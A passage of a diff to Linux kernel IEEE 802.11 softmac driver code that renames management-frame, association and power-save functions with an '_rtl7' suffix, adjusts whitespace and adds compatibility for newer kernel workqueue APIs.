0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + 